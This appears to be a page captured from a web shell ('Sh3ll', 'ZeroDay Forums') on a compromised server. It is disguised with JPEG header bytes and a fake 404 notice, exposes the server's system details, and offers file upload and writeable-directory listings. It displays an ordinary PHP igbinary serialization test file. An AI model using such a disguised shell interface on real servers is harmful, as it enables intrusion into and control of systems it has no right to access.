����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /usr/share/tests/pecl/igbinary/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/tests/pecl/igbinary/tests/igbinary_083.phpt
--TEST--
igbinary object with reference to ArrayObject
--INI--
; Note that php 8.1 deprecates using Serializable without __serialize/__unserialize but we are testing Serialize for igbinary. Suppress deprecations.
error_reporting=E_ALL & ~E_DEPRECATED
--FILE--
<?php

class UnSerializable implements Serializable
{
    public function serialize() {
        echo "Called serialize\n";
    }
    public function unserialize($serialized) {
        echo "Called unserialize\n";
    }
}

$unser = new UnSerializable();
$arr = [$unser];
$arr[1] = &$arr[0];
$arr[2] = 'endcap';
$arr[3] = &$arr[2];

$data = igbinary_serialize($arr);
echo urlencode($data) . PHP_EOL;
$recovered = igbinary_unserialize($data);
var_dump($recovered);
?>
--EXPECT--
Called serialize
%00%00%00%02%14%04%06%00%25%00%06%01%25%22%01%06%02%25%11%06endcap%06%03%25%01%02
array(4) {
  [0]=>
  &NULL
  [1]=>
  &NULL
  [2]=>
  &string(6) "endcap"
  [3]=>
  &string(6) "endcap"
}

ZeroDay Forums Mini